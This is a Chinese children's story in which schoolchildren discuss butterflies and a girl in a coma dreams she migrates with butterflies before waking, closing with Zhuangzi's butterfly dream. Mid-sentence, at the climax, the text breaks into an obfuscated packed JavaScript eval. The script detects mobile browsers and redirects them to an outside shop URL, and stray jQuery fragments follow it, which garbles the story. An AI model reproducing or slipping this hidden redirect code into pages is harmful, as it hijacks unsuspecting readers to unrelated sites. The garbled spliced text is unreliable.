阒篇第七则蝶梦
午后的风从教室半开的窗户里吹进来,把窗帘吹得一鼓一鼓的。
那时候正好是春天,校园里的花刚开不久,窗外的树枝上还留着一层很浅的嫩绿。一个不知道从哪里飞来的蝴蝶绕着窗框转了两圈,最后停在了靠窗同学的课本上。
西西原本正在写作业,忽然停了下来。
她没有赶走它,只是趴在桌边看着。
那只蝴蝶的翅膀很小,在阳光里呈现出一种淡淡的黄色,翅膀扇动的时候,身上的鳞粉也跟着闪烁。它在课本上停了几秒,又飞到窗台上,最后轻轻一振翅,飞出了教室。
“你们说,”西西望着它消失的方向,“蝴蝶每天都在想什么?”
糖糖抬起头。
“它们能想什么?找花,飞,睡觉。”
“可是它们也是活着的呀。”
“那又怎么样?”
西西认真地想了想。
“如果它们也有自己的想法呢?”
安安凑过来:“比如?”
“比如,它每天早上醒来,也会想今天要去哪里;看到一朵漂亮的花,也会觉得好看;遇到另外一只蝴蝶,也会记住它。”
张小凯听见以后笑了一下。
“蝴蝶的寿命那么短,哪有那么多时间想这些。”
“那不是更奇怪吗?”
西西趴在窗边,继续看着外面。
“如果一个人突然变成蝴蝶,会不会觉得自己还是一个人?”
这一次,旁边几个同学都安静下来。
里奈正坐在自己的位置上整理笔记,听到这里,忽然抬起头。
“你们有没有想过,如果真的有一天,你醒来以后发现自己已经变成了一只蝴蝶,会怎么样?”
“我肯定先飞出去。”安安说,“以前我只能在地上走,变成蝴蝶以后就可以到处飞。”
“我才不要。”糖糖摇头,“蝴蝶太危险了,鸟会吃它。”
“可是你也可能根本不知道自己会被鸟吃掉。”
“为什么?”
“因为你可能从出生开始就是蝴蝶,你可不知道外面有什么天敌。”
西西想了一会儿,忽然转头看向里奈。
“那如果我以前是一个人呢?”
里奈没有马上回答。
她看了一眼窗外。
刚才那只蝴蝶已经飞得很远了,只剩下一个几乎看不见的小黑点,在春天明亮的天空里慢慢移动。
“如果你以前是一个人,”里奈说,“而且你还记得自己以前的人生呢?”
“那我就知道自己是人了呀,就知道怎么躲避鸟了。”
“可是,如果那些蝴蝶也有人的记忆呢?”
西西愣住。
里奈把笔记本放到桌上。
“有些蝴蝶从出生开始就是蝴蝶,有些却记得自己曾经是人。它们一起生活,一起迁徙,一起去寻找一个没有任何蝴蝶真正见过的地方。”
“什么地方?”
“蝶之国度。”
几个孩子立刻安静下来。
里奈看着他们。
“我给你们讲一个女孩的故事。”
***
女孩生病以后,已经在医院里睡了很久。
她不知道自己究竟睡了多少天。
在那些没有醒来的日子里,她偶尔能够听见声音。母亲在床边和医生说话,护士推着车从门外经过,仪器发出规律的滴声,有时候窗外下雨,雨水打在玻璃上,像无数细小的手指轻轻敲着窗户。
她想睁开眼睛,却总是做不到。
有时候,她甚至不知道自己有没有真的醒过。
她会觉得自己已经坐在床上,看见母亲正在窗边整理东西,可等她想叫母亲的时候,眼前的一切又重新变成黑暗。
她也常常做梦。
有一次,她梦见自己站在一片很大的草地上。
还有一次,她梦见自己走进了一座没有门的房子。
还有一次,她梦见自己在很高的地方飞。
可是那些梦醒来以后都会消失。
直到那一天。
她再次醒来时,发现自己正躺在一朵花上。
她没有觉得奇怪。
因为梦里的事情本来就不需要理由。
花瓣柔软而温暖,清晨的露水挂在她身边,像一颗颗透明的珠子。阳光从花瓣之间穿过来,照在她身上,她甚至可以看见空气里漂浮的细小尘埃。
她想伸手去碰露水。
可是没有手。
女孩低下头。
她看见六条纤细的腿,看见覆盖着鳞粉的身体,也看见了一双展开以后比自己身体大得多的翅膀。
她愣了很久。
然后轻轻扇动了一下翅膀。
身体离开了花瓣。
她飞起来了。
起初她完全不会控制自己的方向,只是被风带着向前飘。她撞上一片叶子,又从叶子上跌下来,翻了两圈以后才重新飞稳。
可就在那一刻,她忽然明白了飞翔是什么。
以前她看见鸟飞过天空,只觉得天空离自己很远;现在,她自己就在天空里。
风从翅膀下面穿过去。
她可以飞过花丛,可以飞过小溪,可以飞到树梢,然后再从树梢飞向更远的地方。
整个世界忽然变得巨大而美丽。
一滴露水在她眼里像一座透明的湖,一朵花像一片巨大的彩色森林,阳光落在翅膀上,仿佛有无数细小的星星在身体周围闪烁。
她飞了很久。
直到一只黄色的蝴蝶从旁边赶上来。
“第一次飞?”
女孩愣了一下。
“你会说话?”
黄色蝴蝶笑了起来。
“你不是也会吗?”
女孩低头看看自己。
“可是……我不知道自己为什么会在这里。”
“你记得以前的事情吗?”
女孩努力回想。
白色的墙。
一张床。
一双手。
还有一个女人的声音。
她想不起更多。
“我好像……记得一点。”
黄色蝴蝶说:“那就够了。”
“够什么?”
“够你跟我们一起走。”
“去哪里?”
黄色蝴蝶指向远方。
那里有一片巨大的蝴蝶群,正在天空中缓缓移动。
“蝶之国度。”
***
迁徙开始以后,女孩才知道蝴蝶的世界并不像她最初想象的那么自由。
它们虽然可以飞,却不能想去哪里就去哪里。
风向、天气、花期、河流、山脉,甚至天空中鸟类的数量,都会影响它们的路线。
它们必须在花朵凋谢、气温下降以前抵达下一处可以停留的地方。
它们的旅程并不是一次短暂的飞行,而是一场漫长的迁徙。
女孩很快认识了几个伙伴。
黄色蝴蝶叫阿洛,性格活泼,喜欢问很多问题;白色蝴蝶叫米娅,总是跟在她身边;还有一只深蓝色的蝴蝶叫诺恩,话很少,却总是在遇到危险的时候飞回来。
女孩问它们,蝶之国度究竟是什么地方。
阿洛说那里有永远不会凋谢的花。
米娅说那里没有冬天。
诺恩却说,他不知道。
“那你为什么还要去?”
诺恩停在一朵花上。
“因为大家都在去。”
女孩觉得这个回答很奇怪。
后来她又问其他蝴蝶,得到的答案却都不一样。
有的说蝶之国度在山的另一边,有的说在很远的海边,还有的说它根本不在这个世界上。
可即使没有一只蝴蝶真正见过那里,它们还是年复一年地迁徙。
女孩不明白。
直到她遇见了那位老者。
那是一只翅膀已经有些破旧的蝴蝶。
它的翅膀是暗金色,边缘有几处明显的缺口,飞行的速度很慢,经常落在队伍最后。
女孩第一次见到他时,他正停在一片枯叶上。
“您为什么不跟大家一起飞?”
老者抬头看了一眼天空。
“老了。”
“蝴蝶也会老吗?”
“当然。”
“老了以后呢?”
“会飞得越来越慢。”
老者笑了笑。
“最后会停下来。”
女孩看着他的翅膀,不知道为什么忽然有些难过。
后来,她经常和老者一起飞。
老者知道很多事情。
他知道哪一种花的花蜜最甜,知道雨什么时候会来,也知道森林里的鸟通常会在哪里等待蝴蝶。
可是最让女孩感到奇怪的是,他知道很多属于人类世界的事情。
他知道城市。
知道火车。
知道海洋。
知道电影院。
甚至知道一种叫做“雪”的东西。
“您以前去过这些地方吗?”
“去过。”
“那您以前也是蝴蝶吗?”
老者沉默了一会儿。
“不是。”
“那您以前是什么?”
“人。”
女孩停住了。
“您以前是人?”
“嗯。”
“那为什么变成了蝴蝶?”
老者摇摇头。
“我不知道。”
“您还记得自己叫什么吗?”
这一次,老者沉默得更久。
“忘了。”
女孩觉得不可思议。
“怎么会忘记自己的名字?”
老者望着远方。
“如果很久没有人叫你的名字,名字就会慢慢变成一个没有意义的声音。”
女孩没有再问。
她突然意识到,眼前这个老人可能已经在蝴蝶的世界里生活了非常非常久。
久到他曾经作为人的那一部分,正在一点一点消失。
***
迁徙继续进行。
它们飞过森林,越过河流,在山谷里停留,也经历了很多次暴雨。
有一次,天空突然变黑。
狂风从山口涌进来,蝴蝶群一下被吹散。
女孩拼命追赶伙伴。
阿洛被风卷走了。
米娅撞到树叶上,翅膀受了伤。
诺恩折回来寻找它们。
女孩第一次发现,原来飞翔也会让人害怕。
她以前以为天空意味着自由。
可当狂风真正到来的时候,天空比地面更加危险。
那天晚上,雨停以后,它们重新聚在一起。
少了几只蝴蝶。
没有人知道它们去了哪里。
女孩问老者。
“它们是不是死了?”
老者没有直接回答。
“也许。”
“为什么我们不能找到它们?”
“因为迁徙不会停下来等谁。”
女孩沉默了很久。
“蝶之国度真的存在吗?”
老者看着她。
“为什么突然问这个?”
“因为如果那里真的存在,那些离开的蝴蝶是不是也会到那里?”
老者没有说话。
过了很久,他才回答:
“我希望会。”
女孩看着他。
“您也不知道?”
“不知道。”
“那您为什么还要相信?”
老者笑了。
“因为如果连相信都没有了,飞这么远又有什么意义呢?”
女孩第一次明白,蝶之国度或许并不是一个所有蝴蝶都知道答案的地方。
它更像一个方向。
只要还有蝴蝶愿意飞,就有人愿意相信它存在。
***
后来,它们来到迁徙途中最重要的一处山谷。
只要穿过山谷,就能进入另一片更加温暖的地区。
据说那里距离蝶之国度已经不远。
所有蝴蝶都很兴奋。
可老者却在山谷入口停了下来。
女孩飞回来。
“您怎么了?”
老者没有回答。
他的翅膀轻轻颤了一下。
“我飞不动了。”
女孩以为他只是累了。
“那就休息。”
“这一次不一样。”
女孩看见他的翅膀边缘正在一点点裂开。
她忽然明白了。
“您不能再飞了?”
老者点点头。
“那我们也不走。”
“你必须走。”
“不要。”
“你还年轻。”
“我不要去。”
老者看着她。
“你还记得自己是谁吗?”
女孩怔住。
她努力回想。
医院。
母亲。
自己的名字。
可是那些记忆已经越来越遥远。
她开始害怕。
如果继续留在这里,她会不会有一天真的忘记自己曾经是一个女孩?
老者看出了她的恐惧。
“所以你必须继续飞。”
“那您呢?”
老者没有回答。
远处的天空开始变暗。
风从山谷深处吹过来。
其他蝴蝶已经开始向山口飞去。
女孩却停在老者身边。
“我陪您。”
老者摇头。
“不能。”
“为什么?”
“因为你还有应该去的地方。”
女孩哭了起来。
“可是我们不是要一起去蝶之国度吗?”
老者看着她。
“谁说一定要一起到呢?”
女孩说不出话。
老者轻轻碰了一下她的翅膀。
“去吧。”
“我不要。”
“去吧。”
“我不要!”
她第一次朝老者大声喊。
天空越来越暗。
第一滴雨落下来。
老者却只是笑。
“有一天,你会明白。”
“明白什么?”
“有些离别不是因为不想再见,而是因为其中一个人已经不能再继续飞了。”
女孩拼命摇头。
她伸出触角,试图抓住老者。
就在这一刻,狂风突然从山谷里冲出来。
她被吹得向后飞去。
“抓住我!”
她努力往前。
老者也伸出翅膀。
可是两只蝴蝶之间的距离越来越远。
女孩第一次感觉到如此巨大的恐惧。
她不知道老者会不会死。
不知道自己还能不能再见到他。
甚至不知道蝶之国度究竟在哪里。
她只知道自己不想离开。
“不——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926021|213529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
她拼命扇动翅膀。
就在她即将再次靠近老者的时候,一个声音忽然从很远很远的地方传来。
“醒醒。”
女孩没有听清。
风声越来越大。
“醒醒,宝贝。”
她睁开眼睛。
***
刺眼的光芒。
白色的天花板。
白色的墙。
输液管。
仪器发出的声音。
还有母亲哭红的眼睛。
女孩怔怔地看着她。
母亲一把抱住她。
“你终于醒了。”
女孩没有回应。
她还停留在那片山谷里。
她甚至下意识地抬起手,仿佛还想抓住什么。
可是手里什么都没有。
她看着自己的手。
人的手。
她又摸了摸自己的脸。
人的脸。
她慢慢转过头。
“那只蝴蝶呢?”
母亲愣住。
“什么?”
“我刚才……”
女孩说到一半,忽然停下来。
她想起了老者。
想起了阿洛。
想起了米娅。
想起了诺恩。
她甚至记得自己和它们一起迁徙过多少地方。
她记得一片花海的颜色,记得雨落在翅膀上的重量,记得山谷里的风,记得老者的声音。
那不是普通的梦。
至少对她来说不是。
因为梦醒以后通常会迅速消失。
可这些记忆没有。
它们清晰得像她真正活过的一段人生。
她甚至记得那些蝴蝶的名字。
记得它们的性格。
记得它们曾经说过的话。
她忽然产生了一种奇怪的感觉。
自己好像同时拥有过两个人生。
一个人生躺在医院的病床上。
另一个人生曾经飞过漫长的天空。
母亲握住她的手,哭着说:
“医生刚才说,你的情况有转机。”
女孩看着她。
“什么意思?”
“你有救了。”
她愣了很久。
母亲又重复了一遍。
“你有救了。”
女孩终于意识到自己真的醒了。
她应该高兴。
可是她没有立刻笑。
她只是想起那片山谷。
想起自己没有来得及和老者告别。
她甚至不知道最后那场雨落下以后发生了什么。
老者有没有死?
有没有飞起来?
有没有最终抵达蝶之国度?
她什么都不知道。
因为她被叫醒了。
那个世界的故事,在最重要的地方突然中断了。
她甚至不知道自己曾经留下的伙伴后来怎么样。
这比梦见死亡更加难过。
因为至少死亡有结局。
而她留下的,是一个永远不会知道答案的故事。
母亲替她擦掉眼泪。
“怎么哭了?”
女孩摇摇头。
“我不知道。”
她看向窗外。
就在这时候,一阵风吹进病房。
窗帘轻轻扬起来。
一只蝴蝶从窗外飞了进来。
它绕着病床转了一圈,最后停在窗台上。
女孩一下安静下来。
她看着那只蝴蝶。
它并不特别漂亮,也没有什么异常的地方。
可就在它展开翅膀的时候,女孩看见了翅膀边缘一道细小的缺口。
她的心猛地一跳。
那是老者翅膀上的缺口。
她走下床。
母亲想扶她,却被她轻轻推开。
女孩来到窗边。
蝴蝶停在那里。
她伸出手。
“是你吗?”
蝴蝶没有回答。
当然不会回答。
它只是静静地停在那里,像是在看她。
女孩忽然笑了一下。
又哭了。
她不知道自己究竟希望它回答什么。
如果它真的是老者,那么老者是不是已经死去?
如果它不是,那么为什么会有一样的伤痕?
如果这一切只是巧合,那么为什么她会记得那片天空如此清楚?
蝴蝶忽然振翅。
飞出了窗户。
女孩站在窗边,看着它飞向远方。
她突然想起老者曾经对她说过的一句话:
“不要急着弄清楚自己究竟是什么。”
她低头看看自己的手。
是人的手。
她又看向窗外。
那只蝴蝶已经飞得很远。
也许自己真的只是一个女孩。
也许那一切只是昏睡中的梦,但这梦却如此真实。
***
里奈讲到这里,停了下来。
教室里安静得出奇。
过了一会儿,西西小声问:
“所以……那个老爷爷到底死了吗?”
里奈摇摇头。
“不知道。”
“那只蝴蝶是他吗?”
“不知道。”
“可是翅膀上的缺口一样啊。”
“所以才不知道。”
西西皱着眉头想了一会儿。
“那女孩后来还会不会再梦到蝴蝶?”
“也许会。”
“她最后到底是人还是蝴蝶?”
这一次,里奈没有马上回答。
她看了一眼窗外。
春天的阳光落在玻璃上,刚才那只蝴蝶已经不知道飞到哪里去了。
“你们知道《庄周梦蝶》吗?”
几个孩子摇头。
里奈便给他们讲起了庄周梦见自己变成蝴蝶的故事。
讲完以后,西西还是一脸疑惑。
“那庄周最后到底是庄周,还是蝴蝶?”
“没人知道。”
“可是他醒了呀。”
“醒来以后,就一定是真的了吗?”
西西愣住了。
教室里没有人说话。
过了一会儿,糖糖忽然小声说:
“那如果我们现在其实也是在做梦呢?”
“那等我们醒了,就知道了。”
张小凯说。
西西反问:
“可是如果醒来以后还是梦呢?”
几个孩子一下安静下来。
里奈看着他们,笑了笑。
“所以有些问题,没有答案也没关系。”
“为什么?”
“因为如果什么都一定要知道答案,梦就没有意思了。”
窗外忽然飞过一只蝴蝶。
几个孩子不约而同地看了过去。
那只蝴蝶在阳光里停了一下,又很快飞远。
西西看着它消失的方向,忽然说:
“我以后再看到蝴蝶,可能都会想它是不是以前也做过人的梦。”
里奈没有回答。
她只是把笔记本轻轻合上。
上课铃就在这时响了。
孩子们回到各自的座位。
窗户依旧开着。
春风从外面吹进来,把窗帘吹得轻轻摇晃。
而那只已经飞远的蝴蝶,没有人知道它究竟去了哪里。